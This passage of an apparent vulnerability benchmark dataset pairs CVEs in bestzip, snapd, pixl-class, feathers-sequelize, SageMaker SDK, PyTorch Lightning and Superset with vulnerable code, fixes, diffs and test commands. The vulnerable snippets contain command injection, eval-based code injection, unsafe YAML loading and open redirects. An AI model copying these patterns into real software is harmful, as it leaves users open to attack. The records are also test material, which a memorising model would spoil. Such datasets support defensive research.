0) {\n          resolve();\n        } else {\n          // exit code 12 means \"nothing to do\" right?\n          //console.log('rejecting', zipProcess)\n          reject(\n            new Error(\n              `Unexpected exit code from native zip: ${exitCode}\\n executed command '${command} ${args.join(\n                \" \"\n              )}'\\n executed in directory '${cwd}'`\n            )\n          );\n        }\n      });\n    });\n  });"}], "vul_patch": "--- a/lib/bestzip.js\n+++ b/lib/bestzip.js\n@@ -1,28 +1,30 @@\n const nativeZip = options =>\n   new Promise((resolve, reject) => {\n-    const sources = Array.isArray(options.source)\n-      ? options.source.join(\" \")\n-      : options.source;\n-    const command = `zip --quiet --recurse-paths ${\n-      options.destination\n-    } ${sources}`;\n-    const zipProcess = cp.exec(command, {\n-      stdio: \"inherit\",\n-      cwd: options.cwd\n-    });\n-    zipProcess.on(\"error\", reject);\n-    zipProcess.on(\"close\", exitCode => {\n-      if (exitCode === 0) {\n-        resolve();\n-      } else {\n-        // exit code 12 means \"nothing to do\" right?\n-        //console.log('rejecting', zipProcess)\n-        reject(\n-          new Error(\n-            `Unexpected exit code from native zip command: ${exitCode}\\n executed command '${command}'\\n executed inin directory '${options.cwd ||\n-              process.cwd()}'`\n-          )\n-        );\n-      }\n+    const cwd = options.cwd || process.cwd();\n+    const command = \"zip\";\n+    expandSources(cwd, options.source, (err, sources) => {\n+      const args = [\"--quiet\", \"--recurse-paths\", options.destination].concat(\n+        sources\n+      );\n+      const zipProcess = cp.spawn(command, args, {\n+        stdio: \"inherit\",\n+        cwd\n+      });\n+      zipProcess.on(\"error\", reject);\n+      zipProcess.on(\"close\", exitCode => {\n+        if (exitCode === 0) {\n+          resolve();\n+        } else {\n+          // exit code 12 means \"nothing to do\" right?\n+          //console.log('rejecting', zipProcess)\n+          reject(\n+            new Error(\n+              `Unexpected exit code from native zip: ${exitCode}\\n executed command '${command} ${args.join(\n+                \" \"\n+              )}'\\n executed in directory '${cwd}'`\n+            )\n+          );\n+        }\n+      });\n     });\n   });\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-3155", "cve_description": "snapd 2.54.2 and earlier created ~/snap directories in user home directories without specifying owner-only permissions. This could allow a local attacker to read information that should have been private. Fixed in snapd versions 2.54.3+18.04, 2.54.3+20.04 and 2.54.3+21.10.1", "cwe_info": {"CWE-276": {"name": "Incorrect Default Permissions", "description": "During installation, installed file permissions are set to allow anyone to modify those files."}}, "repo": "https://github.com/snapcore/snapd", "patch_url": ["https://github.com/snapcore/snapd/commit/6bcaeeccd16ed8298a301dd92f6907f88c24cc85"], "programing_language": "Go", "vul_func": [{"id": "vul_go_43_1", "commit": "5b6f77a", "file_path": "cmd/snap/cmd_run.go", "start_line": 376, "end_line": 414, "snippet": "func createUserDataDirs(info *snap.Info) error {\n\t// Adjust umask so that the created directories have the permissions we\n\t// expect and are unaffected by the initial umask. While go runtime creates\n\t// threads at will behind the scenes, the setting of umask applies to the\n\t// entire process so it doesn't need any special handling to lock the\n\t// executing goroutine to a single thread.\n\toldUmask := syscall.Umask(0)\n\tdefer syscall.Umask(oldUmask)\n\n\tusr, err := userCurrent()\n\tif err != nil {\n\t\treturn fmt.Errorf(i18n.G(\"cannot get the current user: %v\"), err)\n\t}\n\n\t// see snapenv.User\n\tinstanceUserData := info.UserDataDir(usr.HomeDir)\n\tinstanceCommonUserData := info.UserCommonDataDir(usr.HomeDir)\n\tcreateDirs := []string{instanceUserData, instanceCommonUserData}\n\tif info.InstanceKey != \"\" {\n\t\t// parallel instance snaps get additional mapping in their mount\n\t\t// namespace, namely /home/joe/snap/foo_bar ->\n\t\t// /home/joe/snap/foo, make sure that the mount point exists and\n\t\t// is owned by the user\n\t\tsnapUserDir := snap.UserSnapDir(usr.HomeDir, info.SnapName())\n\t\tcreateDirs = append(createDirs, snapUserDir)\n\t}\n\tfor _, d := range createDirs {\n\t\tif err := os.MkdirAll(d, 0755); err != nil {\n\t\t\t// TRANSLATORS: %q is the directory whose creation failed, %v the error message\n\t\t\treturn fmt.Errorf(i18n.G(\"cannot create %q: %v\"), d, err)\n\t\t}\n\t}\n\n\tif err := createOrUpdateUserDataSymlink(info, usr); err != nil {\n\t\treturn err\n\t}\n\n\treturn maybeRestoreSecurityContext(usr)\n}"}], "fix_func": [{"id": "fix_go_43_1", "commit": "7d2a966", "file_path": "cmd/snap/cmd_run.go", "start_line": 376, "end_line": 418, "snippet": "func createUserDataDirs(info *snap.Info) error {\n\t// Adjust umask so that the created directories have the permissions we\n\t// expect and are unaffected by the initial umask. While go runtime creates\n\t// threads at will behind the scenes, the setting of umask applies to the\n\t// entire process so it doesn't need any special handling to lock the\n\t// executing goroutine to a single thread.\n\toldUmask := syscall.Umask(0)\n\tdefer syscall.Umask(oldUmask)\n\n\tusr, err := userCurrent()\n\tif err != nil {\n\t\treturn fmt.Errorf(i18n.G(\"cannot get the current user: %v\"), err)\n\t}\n\n\tsnapDir := filepath.Join(usr.HomeDir, dirs.UserHomeSnapDir)\n\tif err := os.MkdirAll(snapDir, 0700); err != nil {\n\t\treturn fmt.Errorf(i18n.G(\"cannot create snap home dir: %w\"), err)\n\t}\n\t// see snapenv.User\n\tinstanceUserData := info.UserDataDir(usr.HomeDir)\n\tinstanceCommonUserData := info.UserCommonDataDir(usr.HomeDir)\n\tcreateDirs := []string{instanceUserData, instanceCommonUserData}\n\tif info.InstanceKey != \"\" {\n\t\t// parallel instance snaps get additional mapping in their mount\n\t\t// namespace, namely /home/joe/snap/foo_bar ->\n\t\t// /home/joe/snap/foo, make sure that the mount point exists and\n\t\t// is owned by the user\n\t\tsnapUserDir := snap.UserSnapDir(usr.HomeDir, info.SnapName())\n\t\tcreateDirs = append(createDirs, snapUserDir)\n\t}\n\tfor _, d := range createDirs {\n\t\tif err := os.MkdirAll(d, 0755); err != nil {\n\t\t\t// TRANSLATORS: %q is the directory whose creation failed, %v the error message\n\t\t\treturn fmt.Errorf(i18n.G(\"cannot create %q: %v\"), d, err)\n\t\t}\n\t}\n\n\tif err := createOrUpdateUserDataSymlink(info, usr); err != nil {\n\t\treturn err\n\t}\n\n\treturn maybeRestoreSecurityContext(usr)\n}"}], "vul_patch": "--- a/cmd/snap/cmd_run.go\n+++ b/cmd/snap/cmd_run.go\n@@ -12,6 +12,10 @@\n \t\treturn fmt.Errorf(i18n.G(\"cannot get the current user: %v\"), err)\n \t}\n \n+\tsnapDir := filepath.Join(usr.HomeDir, dirs.UserHomeSnapDir)\n+\tif err := os.MkdirAll(snapDir, 0700); err != nil {\n+\t\treturn fmt.Errorf(i18n.G(\"cannot create snap home dir: %w\"), err)\n+\t}\n \t// see snapenv.User\n \tinstanceUserData := info.UserDataDir(usr.HomeDir)\n \tinstanceCommonUserData := info.UserCommonDataDir(usr.HomeDir)\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-3155:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/snapd\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test   -v -timeout 30s github.com/snapcore/snapd/cmd/snap -check.f RunSuite.TestCreateSnapDirPermissions\n", "unit_test_cmd": null}
{"cve_id": "CVE-2020-7640", "cve_description": "pixl-class prior to 1.0.3 allows execution of arbitrary commands. The members argument of the create function can be controlled by users without any sanitization.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/jhuckaby/pixl-class", "patch_url": ["https://github.com/jhuckaby/pixl-class/commit/47677a3638e3583e42f3a05cc7f0b30293d2acc8,", "https://github.com/jhuckaby/pixl-class/commit/47677a3638e3583e42f3a05cc7f0b30293d2acc8"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_18_1", "commit": "cd79906", "file_path": "class.js", "start_line": 8, "end_line": 104, "snippet": "exports.create = function create(members) {\n\t// create new class using php-style syntax (sort of)\n\tif (!members) members = {};\n\t\n\t// setup constructor\n\tvar constructor = null;\n\t\n\t// inherit from parent class\n\tif (members.__parent) {\n\t\tif (members.__construct) {\n\t\t\t// explicit constructor passed in\n\t\t\tconstructor = members.__construct;\n\t\t}\n\t\telse {\n\t\t\t// inherit parent's constructor\n\t\t\tvar code = members.__parent.toString();\n\t\t\tvar args = code.substring( code.indexOf(\"(\")+1, code.indexOf(\")\") );\n\t\t\tvar inner_code = code.substring( code.indexOf(\"{\")+1, code.lastIndexOf(\"}\") );\n\t\t\teval('constructor = function ('+args+') {'+inner_code+'};');\n\t\t}\n\t\t\n\t\t// inherit rest of parent members\n\t\tutil.inherits(constructor, members.__parent);\n\t\tdelete members.__parent;\n\t}\n\telse {\n\t\t// create new base class\n\t\tconstructor = members.__construct || function() {};\n\t}\n\tdelete members.__construct;\n\t\n\t// handle static variables\n\tif (members.__static) {\n\t\tfor (var key in members.__static) {\n\t\t\tconstructor[key] = members.__static[key];\n\t\t}\n\t\tdelete members.__static;\n\t}\n\t\n\t// all classes are event emitters unless explicitly disabled\n\tif (members.__events !== false) {\n\t\tif (!members.__mixins) members.__mixins = [];\n\t\tif (members.__mixins.indexOf(events.EventEmitter) == -1) {\n\t\t\tmembers.__mixins.push( events.EventEmitter );\n\t\t}\n\t}\n\tdelete members.__events;\n\t\n\t// handle mixins\n\tif (members.__mixins) {\n\t\tfor (var idx = 0, len = members.__mixins.length; idx < len; idx++) {\n\t\t\tvar class_obj = members.__mixins[idx];\n\t\t\t\n\t\t\tfor (var key in class_obj.prototype) {\n\t\t\t\tif (!key.match(/^__/) && (typeof(constructor.prototype[key]) == 'undefined')) {\n\t\t\t\t\tconstructor.prototype[key] = class_obj.prototype[key];\n\t\t\t\t}\n\t\t\t}\n\t\t\tvar static_members = class_obj.__static;\n\t\t\tif (static_members) {\n\t\t\t\tfor (var key in static_members) {\n\t\t\t\t\tif (typeof(constructor[key]) == 'undefined') constructor[key] = static_members[key];\n\t\t\t\t}\n\t\t\t}\n\t\t} // foreach mixin\n\t\tdelete members.__mixins;\n\t} // mixins\n\t\n\t// handle promisify (node 8+)\n\tif (members.__promisify && util.promisify) {\n\t\tif (Array.isArray(members.__promisify)) {\n\t\t\t// promisify some\n\t\t\tmembers.__promisify.forEach( function(key) {\n\t\t\t\tif (typeof(members[key]) == 'function') {\n\t\t\t\t\tmembers[key] = util.promisify( members[key] );\n\t\t\t\t}\n\t\t\t} );\n\t\t}\n\t\telse {\n\t\t\t// promisify all\n\t\t\tfor (var key in members) {\n\t\t\t\tif (!key.match(/^__/) && (typeof(members[key]) == 'function')) {\n\t\t\t\t\tmembers[key] = util.promisify( members[key] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tdelete members.__promisify;\n\t}\n\t\n\t// fill prototype members\n\tfor (var key in members) {\n\t\tconstructor.prototype[key] = members[key];\n\t}\n\t\n\t// return completed class definition\n\treturn constructor;\n};"}], "fix_func": [{"id": "fix_js_18_1", "commit": "47677a3", "file_path": "class.js", "start_line": 8, "end_line": 105, "snippet": "exports.create = function create(members) {\n\t// create new class using php-style syntax (sort of)\n\tif (!members) members = {};\n\t\n\t// setup constructor\n\tvar constructor = null;\n\t\n\t// inherit from parent class\n\tif (members.__parent) {\n\t\tif (members.__construct) {\n\t\t\t// explicit constructor passed in\n\t\t\tconstructor = members.__construct;\n\t\t}\n\t\telse {\n\t\t\t// inherit parent's constructor\n\t\t\tvar parent = members.__parent;\n\t\t\tconstructor = function() {\n\t\t\t\tvar args = Array.prototype.slice.call(arguments);\n\t\t\t\tparent.apply( this, args );\n\t\t\t};\n\t\t}\n\t\t\n\t\t// inherit rest of parent members\n\t\tutil.inherits(constructor, members.__parent);\n\t\tdelete members.__parent;\n\t}\n\telse {\n\t\t// create new base class\n\t\tconstructor = members.__construct || function() {};\n\t}\n\tdelete members.__construct;\n\t\n\t// handle static variables\n\tif (members.__static) {\n\t\tfor (var key in members.__static) {\n\t\t\tconstructor[key] = members.__static[key];\n\t\t}\n\t\tdelete members.__static;\n\t}\n\t\n\t// all classes are event emitters unless explicitly disabled\n\tif (members.__events !== false) {\n\t\tif (!members.__mixins) members.__mixins = [];\n\t\tif (members.__mixins.indexOf(events.EventEmitter) == -1) {\n\t\t\tmembers.__mixins.push( events.EventEmitter );\n\t\t}\n\t}\n\tdelete members.__events;\n\t\n\t// handle mixins\n\tif (members.__mixins) {\n\t\tfor (var idx = 0, len = members.__mixins.length; idx < len; idx++) {\n\t\t\tvar class_obj = members.__mixins[idx];\n\t\t\t\n\t\t\tfor (var key in class_obj.prototype) {\n\t\t\t\tif (!key.match(/^__/) && (typeof(constructor.prototype[key]) == 'undefined')) {\n\t\t\t\t\tconstructor.prototype[key] = class_obj.prototype[key];\n\t\t\t\t}\n\t\t\t}\n\t\t\tvar static_members = class_obj.__static;\n\t\t\tif (static_members) {\n\t\t\t\tfor (var key in static_members) {\n\t\t\t\t\tif (typeof(constructor[key]) == 'undefined') constructor[key] = static_members[key];\n\t\t\t\t}\n\t\t\t}\n\t\t} // foreach mixin\n\t\tdelete members.__mixins;\n\t} // mixins\n\t\n\t// handle promisify (node 8+)\n\tif (members.__promisify && util.promisify) {\n\t\tif (Array.isArray(members.__promisify)) {\n\t\t\t// promisify some\n\t\t\tmembers.__promisify.forEach( function(key) {\n\t\t\t\tif (typeof(members[key]) == 'function') {\n\t\t\t\t\tmembers[key] = util.promisify( members[key] );\n\t\t\t\t}\n\t\t\t} );\n\t\t}\n\t\telse {\n\t\t\t// promisify all\n\t\t\tfor (var key in members) {\n\t\t\t\tif (!key.match(/^__/) && (typeof(members[key]) == 'function')) {\n\t\t\t\t\tmembers[key] = util.promisify( members[key] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tdelete members.__promisify;\n\t}\n\t\n\t// fill prototype members\n\tfor (var key in members) {\n\t\tconstructor.prototype[key] = members[key];\n\t}\n\t\n\t// return completed class definition\n\treturn constructor;\n};"}], "vul_patch": "--- a/class.js\n+++ b/class.js\n@@ -13,10 +13,11 @@\n \t\t}\n \t\telse {\n \t\t\t// inherit parent's constructor\n-\t\t\tvar code = members.__parent.toString();\n-\t\t\tvar args = code.substring( code.indexOf(\"(\")+1, code.indexOf(\")\") );\n-\t\t\tvar inner_code = code.substring( code.indexOf(\"{\")+1, code.lastIndexOf(\"}\") );\n-\t\t\teval('constructor = function ('+args+') {'+inner_code+'};');\n+\t\t\tvar parent = members.__parent;\n+\t\t\tconstructor = function() {\n+\t\t\t\tvar args = Array.prototype.slice.call(arguments);\n+\t\t\t\tparent.apply( this, args );\n+\t\t\t};\n \t\t}\n \t\t\n \t\t// inherit rest of parent members\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-7640:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/pixl-class\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": null}
{"cve_id": "CVE-2022-29822", "cve_description": "Due to improper parameter filtering in the Feathers js library, which may ultimately lead to SQL injection", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/feathersjs-ecosystem/feathers-sequelize", "patch_url": ["https://github.com/feathersjs-ecosystem/feathers-sequelize/commit/0f2d85f0b2d556f2b6c70423dcebdbd29d95e3dc"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_31_1", "commit": "4c536cc", "file_path": "lib/index.js", "start_line": 122, "end_line": 159, "snippet": "  _find (params = {}) {\n    const { filters, query: where, paginate } = this.filterQuery(params);\n    const order = utils.getOrder(filters.$sort);\n\n    const q = Object.assign({\n      where,\n      order,\n      limit: filters.$limit,\n      offset: filters.$skip,\n      raw: this.raw,\n      distinct: true\n    }, params.sequelize);\n\n    if (filters.$select) {\n      q.attributes = filters.$select;\n    }\n\n    const Model = this.applyScope(params);\n\n    // Until Sequelize fix all the findAndCount issues, a few 'hacks' are needed to get the total count correct\n\n    // Adding an empty include changes the way the count is done\n    // See: https://github.com/sequelize/sequelize/blob/7e441a6a5ca44749acd3567b59b1d6ceb06ae64b/lib/model.js#L1780-L1782\n    q.include = q.include || [];\n\n    if (paginate && paginate.default) {\n      return Model.findAndCountAll(q).then(result => {\n        return {\n          total: result.count,\n          limit: filters.$limit,\n          skip: filters.$skip || 0,\n          data: result.rows\n        };\n      }).catch(utils.errorHandler);\n    }\n\n    return Model.findAll(q).catch(utils.errorHandler);\n  }"}], "fix_func": [{"id": "fix_js_31_1", "commit": "0f2d85f", "file_path": "lib/index.js", "start_line": 122, "end_line": 159, "snippet": "  _find (params = {}) {\n    const { filters, query: where, paginate } = this.filterQuery(params);\n    const order = utils.getOrder(filters.$sort);\n\n    const q = Object.assign({\n      where,\n      order,\n      limit: filters.$limit,\n      offset: filters.$skip,\n      raw: this.raw,\n      distinct: true\n    }, params.sequelize);\n\n    if (filters.$select) {\n      q.attributes = filters.$select.map(select => `${select}`);\n    }\n\n    const Model = this.applyScope(params);\n\n    // Until Sequelize fix all the findAndCount issues, a few 'hacks' are needed to get the total count correct\n\n    // Adding an empty include changes the way the count is done\n    // See: https://github.com/sequelize/sequelize/blob/7e441a6a5ca44749acd3567b59b1d6ceb06ae64b/lib/model.js#L1780-L1782\n    q.include = q.include || [];\n\n    if (paginate && paginate.default) {\n      return Model.findAndCountAll(q).then(result => {\n        return {\n          total: result.count,\n          limit: filters.$limit,\n          skip: filters.$skip || 0,\n          data: result.rows\n        };\n      }).catch(utils.errorHandler);\n    }\n\n    return Model.findAll(q).catch(utils.errorHandler);\n  }"}], "vul_patch": "--- a/lib/index.js\n+++ b/lib/index.js\n@@ -12,7 +12,7 @@\n     }, params.sequelize);\n \n     if (filters.$select) {\n-      q.attributes = filters.$select;\n+      q.attributes = filters.$select.map(select => `${select}`);\n     }\n \n     const Model = this.applyScope(params);\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-29822:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/feathers-sequelize\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx mocha --timeout 5000 --grep \"does not allow raw attribute $select\"\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-29822:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/feathers-sequelize\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha --timeout 5000 test/index.test.js"}
{"cve_id": "CVE-2024-34073", "cve_description": "sagemaker-python-sdk is a library for training and deploying machine learning models on Amazon SageMaker. In affected versions the capture_dependencies function in `sagemaker.serve.save_retrive.version_1_0_0.save.utils` module allows for potentially unsafe Operating System (OS) Command Injection if inappropriate command is passed as the \u201crequirements_path\u201d parameter. This consequently may allow an unprivileged third party to cause remote code execution, denial of service, affecting both confidentiality and integrity. This issue has been addressed in version 2.214.3. Users are advised to upgrade. Users unable to upgrade should not override the \u201crequirements_path\u201d parameter of capture_dependencies function in `sagemaker.serve.save_retrive.version_1_0_0.save.utils`, and instead use the default value.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/aws/sagemaker-python-sdk", "patch_url": ["https://github.com/aws/sagemaker-python-sdk/commit/2d873d53f708ea570fc2e2a6974f8c3097fe9df5"], "programing_language": "Python", "vul_func": [{"id": "vul_py_125_1", "commit": "d27836e", "file_path": "src/sagemaker/serve/save_retrive/version_1_0_0/save/utils.py", "start_line": 77, "end_line": 105, "snippet": "def capture_dependencies(requirements_path: str):\n    \"\"\"Placeholder docstring\"\"\"\n    logger.info(\"Capturing dependencies...\")\n\n    try:\n        import pigar\n\n        pigar.__version__  # pylint: disable=W0104\n    except ModuleNotFoundError:\n        logger.warning(\n            \"pigar module is not installed in python environment, \"\n            \"dependency generation may be incomplete\"\n            \"Checkout the instructions on the installation page of its repo: \"\n            \"https://github.com/damnever/pigar \"\n            \"And follow the ones that match your environment.\"\n            \"Please note that you may need to restart your runtime after installation.\"\n        )\n        import sagemaker\n\n        sagemaker_dependency = f\"{sagemaker.__package__}=={sagemaker.__version__}\"\n        with open(requirements_path, \"w\") as f:\n            f.write(sagemaker_dependency)\n        return\n\n    command = f\"pigar gen -f {Path(requirements_path)} {os.getcwd()}\"\n    logging.info(\"Running command %s\", command)\n\n    os.system(command)\n    logger.info(\"Dependencies captured successfully\")"}], "fix_func": [{"id": "fix_py_125_1", "commit": "2d873d5", "file_path": "src/sagemaker/serve/save_retrive/version_1_0_0/save/utils.py", "start_line": 78, "end_line": 106, "snippet": "def capture_dependencies(requirements_path: str):\n    \"\"\"Placeholder docstring\"\"\"\n    logger.info(\"Capturing dependencies...\")\n\n    try:\n        import pigar\n\n        pigar.__version__  # pylint: disable=W0104\n    except ModuleNotFoundError:\n        logger.warning(\n            \"pigar module is not installed in python environment, \"\n            \"dependency generation may be incomplete\"\n            \"Checkout the instructions on the installation page of its repo: \"\n            \"https://github.com/damnever/pigar \"\n            \"And follow the ones that match your environment.\"\n            \"Please note that you may need to restart your runtime after installation.\"\n        )\n        import sagemaker\n\n        sagemaker_dependency = f\"{sagemaker.__package__}=={sagemaker.__version__}\"\n        with open(requirements_path, \"w\") as f:\n            f.write(sagemaker_dependency)\n        return\n\n    command = [\"pigar\", \"gen\", \"-f\", str(Path(requirements_path)), str(os.getcwd())]\n    logging.info(\"Running command: %s\", \" \".join(command))\n\n    subprocess.run(command, check=True, capture_output=True)\n    logger.info(\"Dependencies captured successfully\")"}], "vul_patch": "--- a/src/sagemaker/serve/save_retrive/version_1_0_0/save/utils.py\n+++ b/src/sagemaker/serve/save_retrive/version_1_0_0/save/utils.py\n@@ -22,8 +22,8 @@\n             f.write(sagemaker_dependency)\n         return\n \n-    command = f\"pigar gen -f {Path(requirements_path)} {os.getcwd()}\"\n-    logging.info(\"Running command %s\", command)\n+    command = [\"pigar\", \"gen\", \"-f\", str(Path(requirements_path)), str(os.getcwd())]\n+    logging.info(\"Running command: %s\", \" \".join(command))\n \n-    os.system(command)\n+    subprocess.run(command, check=True, capture_output=True)\n     logger.info(\"Dependencies captured successfully\")\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-4118", "cve_description": "pytorch-lightning is vulnerable to Deserialization of Untrusted Data", "cwe_info": {"CWE-502": {"name": "Deserialization of Untrusted Data", "description": "The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid."}}, "repo": "https://github.com/pytorchlightning/pytorch-lightning", "patch_url": ["https://github.com/pytorchlightning/pytorch-lightning/commit/62f1e82e032eb16565e676d39e0db0cac7e34ace"], "programing_language": "Python", "vul_func": [{"id": "vul_py_76_1", "commit": "8508cce", "file_path": "pytorch_lightning/core/saving.py", "start_line": "325", "end_line": "355", "snippet": "def load_hparams_from_yaml(config_yaml: str, use_omegaconf: bool = True) -> Dict[str, Any]:\n    \"\"\"Load hparams from a file.\n\n        Args:\n            config_yaml: Path to config yaml file\n            use_omegaconf: If omegaconf is available and ``use_omegaconf=True``,\n                the hparams will be converted to ``DictConfig`` if possible.\n\n    >>> hparams = Namespace(batch_size=32, learning_rate=0.001, data_root='./any/path/here')\n    >>> path_yaml = './testing-hparams.yaml'\n    >>> save_hparams_to_yaml(path_yaml, hparams)\n    >>> hparams_new = load_hparams_from_yaml(path_yaml)\n    >>> vars(hparams) == hparams_new\n    True\n    >>> os.remove(path_yaml)\n    \"\"\"\n    fs = get_filesystem(config_yaml)\n    if not fs.exists(config_yaml):\n        rank_zero_warn(f\"Missing Tags: {config_yaml}.\", category=RuntimeWarning)\n        return {}\n\n    with fs.open(config_yaml, \"r\") as fp:\n        hparams = yaml.load(fp, Loader=yaml.UnsafeLoader)\n\n    if _OMEGACONF_AVAILABLE:\n        if use_omegaconf:\n            try:\n                return OmegaConf.create(hparams)\n            except (UnsupportedValueType, ValidationError):\n                pass\n    return hparams"}], "fix_func": [{"id": "fix_py_76_1", "commit": "62f1e82", "file_path": "pytorch_lightning/core/saving.py", "start_line": "325", "end_line": "355", "snippet": "def load_hparams_from_yaml(config_yaml: str, use_omegaconf: bool = True) -> Dict[str, Any]:\n    \"\"\"Load hparams from a file.\n\n        Args:\n            config_yaml: Path to config yaml file\n            use_omegaconf: If omegaconf is available and ``use_omegaconf=True``,\n                the hparams will be converted to ``DictConfig`` if possible.\n\n    >>> hparams = Namespace(batch_size=32, learning_rate=0.001, data_root='./any/path/here')\n    >>> path_yaml = './testing-hparams.yaml'\n    >>> save_hparams_to_yaml(path_yaml, hparams)\n    >>> hparams_new = load_hparams_from_yaml(path_yaml)\n    >>> vars(hparams) == hparams_new\n    True\n    >>> os.remove(path_yaml)\n    \"\"\"\n    fs = get_filesystem(config_yaml)\n    if not fs.exists(config_yaml):\n        rank_zero_warn(f\"Missing Tags: {config_yaml}.\", category=RuntimeWarning)\n        return {}\n\n    with fs.open(config_yaml, \"r\") as fp:\n        hparams = yaml.full_load(fp)\n\n    if _OMEGACONF_AVAILABLE:\n        if use_omegaconf:\n            try:\n                return OmegaConf.create(hparams)\n            except (UnsupportedValueType, ValidationError):\n                pass\n    return hparams"}], "vul_patch": "--- a/pytorch_lightning/core/saving.py\n+++ b/pytorch_lightning/core/saving.py\n@@ -20,7 +20,7 @@\n         return {}\n \n     with fs.open(config_yaml, \"r\") as fp:\n-        hparams = yaml.load(fp, Loader=yaml.UnsafeLoader)\n+        hparams = yaml.full_load(fp)\n \n     if _OMEGACONF_AVAILABLE:\n         if use_omegaconf:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-28125", "cve_description": "Apache Superset up to and including 1.0.1 allowed for the creation of an external URL that could be malicious. By not checking user input for open redirects the URL shortener functionality would allow for a malicious user to create a short URL for a dashboard that could convince the user to click the link.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/apache/superset", "patch_url": ["https://github.com/apache/superset/commit/eb35b804acf4d84cb70d02743e04b8afebbee029"], "programing_language": "Python", "vul_func": [{"id": "vul_py_167_1", "commit": "e8162cb", "file_path": "superset/views/redirects.py", "start_line": 28, "end_line": 60, "snippet": "class R(BaseSupersetView):  # pylint: disable=invalid-name\n\n    \"\"\"used for short urls\"\"\"\n\n    @event_logger.log_this\n    @expose(\"/<int:url_id>\")\n    def index(self, url_id: int) -> FlaskResponse:  # pylint: disable=no-self-use\n        url = db.session.query(models.Url).get(url_id)\n        if url and url.url:\n            explore_url = \"//superset/explore/?\"\n            if url.url.startswith(explore_url):\n                explore_url += f\"r={url_id}\"\n                return redirect(explore_url[1:])\n\n            return redirect(url.url[1:])\n\n        flash(\"URL to nowhere...\", \"danger\")\n        return redirect(\"/\")\n\n    @event_logger.log_this\n    @has_access_api\n    @expose(\"/shortner/\", methods=[\"POST\"])\n    def shortner(self) -> FlaskResponse:  # pylint: disable=no-self-use\n        url = request.form.get(\"data\")\n        obj = models.Url(url=url)\n        db.session.add(obj)\n        db.session.commit()\n        return Response(\n            \"{scheme}://{request.headers[Host]}/r/{obj.id}\".format(\n                scheme=request.scheme, request=request, obj=obj\n            ),\n            mimetype=\"text/plain\",\n        )"}], "fix_func": [{"id": "fix_py_167_1", "commit": "eb35b80", "file_path": "superset/views/redirects.py", "start_line": 33, "end_line": 78, "snippet": "class R(BaseSupersetView):  # pylint: disable=invalid-name\n\n    \"\"\"used for short urls\"\"\"\n\n    @staticmethod\n    def _validate_url(url: Optional[str] = None) -> bool:\n        if url and (\n            url.startswith(\"//superset/dashboard/\")\n            or url.startswith(\"//superset/explore/\")\n        ):\n            return True\n        return False\n\n    @event_logger.log_this\n    @expose(\"/<int:url_id>\")\n    def index(self, url_id: int) -> FlaskResponse:  # pylint: disable=no-self-use\n        url = db.session.query(models.Url).get(url_id)\n        if url and url.url:\n            explore_url = \"//superset/explore/?\"\n            if url.url.startswith(explore_url):\n                explore_url += f\"r={url_id}\"\n                return redirect(explore_url[1:])\n            if self._validate_url(url.url):\n                return redirect(url.url[1:])\n            return redirect(\"/\")\n\n        flash(\"URL to nowhere...\", \"danger\")\n        return redirect(\"/\")\n\n    @event_logger.log_this\n    @has_access_api\n    